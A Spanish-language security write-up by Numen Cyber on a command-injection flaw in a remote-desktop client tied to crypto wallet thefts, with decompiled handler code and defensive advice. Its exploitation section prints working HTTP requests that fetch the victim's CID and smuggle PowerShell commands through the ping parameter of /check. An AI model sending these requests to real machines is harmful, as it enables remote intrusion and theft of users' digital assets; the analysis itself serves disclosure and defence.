paint-brush
Crypto OpSec: cómo se puede explotar el software de escritorio remoto para vaciar su billeterapor@numencyber
586 lecturas
586 lecturas

Crypto OpSec: cómo se puede explotar el software de escritorio remoto para vaciar su billetera

por Numen Cyber8m2023/04/18
Read on Terminal Reader

Demasiado Largo; Para Leer

Recientemente, varios poseedores de criptomonedas web3 informaron haber perdido sus activos digitales mientras usaban software de control remoto. La dirección de la billetera asociada con el hacker es 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf. El año pasado, hubo un incidente relacionado con un software de control remoto que experimentó una explosión del servicio debido a una fuga de la información de identificación de su cliente.
featured image - Crypto OpSec: cómo se puede explotar el software de escritorio remoto para vaciar su billetera
Numen Cyber HackerNoon profile picture

Recientemente, varios poseedores de criptomonedas web3 informaron haber perdido sus activos digitales mientras usaban software de control remoto.

La dirección de la billetera asociada con el hacker es 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf.

El año pasado, hubo un incidente relacionado con un software de control remoto que experimentó una explosión del servicio debido a una fuga de su información de identificación del cliente (CID) y una vulnerabilidad de inyección de comandos (CNVD-2022–10270/CNVD-2022–03672).


Cada vez que se inicia el software, abre automáticamente un número de puerto aleatorio superior a 40000 como un servicio HTTP. En el caso de que el valor del parámetro cmd comience con ping o nslookup en la ruta /check, se puede ejecutar cualquier comando.


Esto permitió al atacante enviar un agente C2, lo que les permitió monitorear el sistema de la víctima durante un largo período de tiempo.

Versiones afectadas

Edición personal para Windows <= 11.0.0.33162

Edición sencilla <= V1.0.1.43315

Análisis

Echemos un vistazo a login.cgi

 v5 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v5; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, "login.cgi", 9ui64); v6 = sub_140E2D6BC(v5, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v6; if ( v6 ) { v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v8) = 1; sub_1400EEDC0(v51, v8, 0i64); v56 = &v57; v9 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v9; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); v10 = sub_140E2D6BC(v9, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v10; if ( v10 ) { v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v12) = 1; sub_1400EEDC0(v51, v12, 0i64); v56 = &v57; v13 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v13; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); v14 = sub_140E2D6BC(v13, v51); v57 = &off_1410D3B20; v58 = sub_140E1C954; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v14; if ( v14 ) { v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); }


Navegar a cgi-bin/rpc

Obtener la siguiente ruta

 v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); sub_140320D80( (int)&qword_1414049C0, 1, (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", (int)"CHttpDecideTcpClientType::DecideClient", 205, "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", v63); if ( (unsigned int)sub_140101DB0(v116, "login") && strcmp(v61, "express_login") && strcmp(v61, "cgi-bin/login.cgi") && strcmp(v61, "log") && strcmp(v61, "cgi-bin/rpc") && strcmp(v61, "transfer") && strcmp(v61, "cloudconfig") && strcmp(v61, "getfastcode") && strcmp(v61, "assist") && strcmp(v61, "cloudconfig") && strcmp(v61, "projection") && strcmp(v61, "getaddress") && strcmp(v61, "sunlogin-tools") ) ... sub_1400F05E0(v116); goto LABEL_168; } } if ( !(unsigned int)sub_140101DB0(v116, "login") || !(unsigned int)sub_140101DB0(v116, "control") || !strcmp(v61, "express_login") || !strcmp(v61, "cgi-bin/login.cgi") || !strcmp(v61, "cgi-bin/rpc") || !strcmp(v61, "desktop.list") || !strcmp(v61, "cloudconfig") || !strcmp(v61, "check") || !strcmp(v61, "transfer") || !strcmp(v61, "getfastcode") || !strcmp(v61, "assist") || !strcmp(v61, "micro-live/enable") || !strcmp(v61, "projection") || !strcmp(v61, "getaddress") ) { v103 = *(_QWORD *)(a1 + 8);

Según la información de vulnerabilidad divulgada en línea, al obtener el primer CID de autenticación de la ruta cgi-bin/rpc, es posible distinguir la función examinando el parámetro de acción.

Cuando el parámetro de acción se establece en verificar-haras, la función devuelve verificar_cadena.

 if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) { sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); LOBYTE(v22) = 1; v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), v125, v22); sub_1400EEE40(Src, v23, 0i64, -1i64); sub_1400F05E0(v125); sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); v73 = 1; CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); }

Si el parámetro de acción se establece en tipo de inicio de sesión, la función devuelve información sobre el dispositivo de la víctima.

 if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) { sub_1405ACBA0(v93); v16 = "0"; if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) ... memset(Buffer, 0, sizeof(Buffer)); sub_140150A60( Buffer, "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" ",\"disable_remote_bind\":\"%s\"} "); if ( Buffer[0] ) { do ++v6; while ( Buffer[v6] ); v4 = v6; } sub_1400F0690(Src, Buffer, v4); v72 = 1; CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); }

Además de lo anterior, hay otros dos parámetros: inicio de sesión rápido y solicitud de vinculación.

Al examinar la ruta de verificación, un atacante puede crear comandos maliciosos utilizando ping o nslookup, lo que les permite lograr la ejecución remota de comandos.

La ruta getaddress permite recuperar la dirección del servicio https asignada a un puerto fijo en la extranet. Los motores de búsqueda de activos web pueden rastrear fácilmente esta dirección o los atacantes pueden escanearla, lo que expande la superficie de ataque más allá de la intranet.

Proceso de Explotación

En cada inicio, la interfaz rpc selecciona aleatoriamente un número de puerto superior a 40.000.

El paso inicial es obtener el CID del usuario/entidad afectado.

 GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

Luego, el atacante puede agregar un CID a la cookie de autenticación, que se ve así: Cookie: CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS. Esto les permite ejecutar cualquier comando en la computadora de la víctima.

 GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

 /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig 

Acceda y vea los archivos del sistema de la víctima.

Resumen

A medida que la infraestructura web3 continúa desarrollándose, el alto valor de los activos digitales y la invisibilidad de la infraestructura web3 la convierten en un objetivo atractivo para los piratas informáticos. Han pasado de la seguridad de red tradicional al robo de datos dentro del ecosistema web3, incluido el robo de los activos digitales de los usuarios.

Muchos piratas informáticos ahora usan ataques de 0 días/1 día para infiltrarse en las instalaciones de destino, como servidores, hosts personales, aplicaciones de billetera y clientes móviles. Su objetivo final es robar los activos digitales de los usuarios.


Para protegerse contra tales ataques, se recomienda a los usuarios que mantengan sus sistemas actualizados y parcheados, eviten hacer clic en enlaces de fuentes desconocidas y almacenen sus claves en sistemas aislados.


Con el panorama de Web3 en constante expansión, es imperativo que los proyectos prioricen la seguridad de los activos de sus usuarios y adopten las mejores prácticas de la industria, como auditorías exhaustivas y análisis regulares de debilidades para minimizar la posibilidad de que ocurran ataques similares en el futuro.


Lea más sobre nuestros servicios aquí .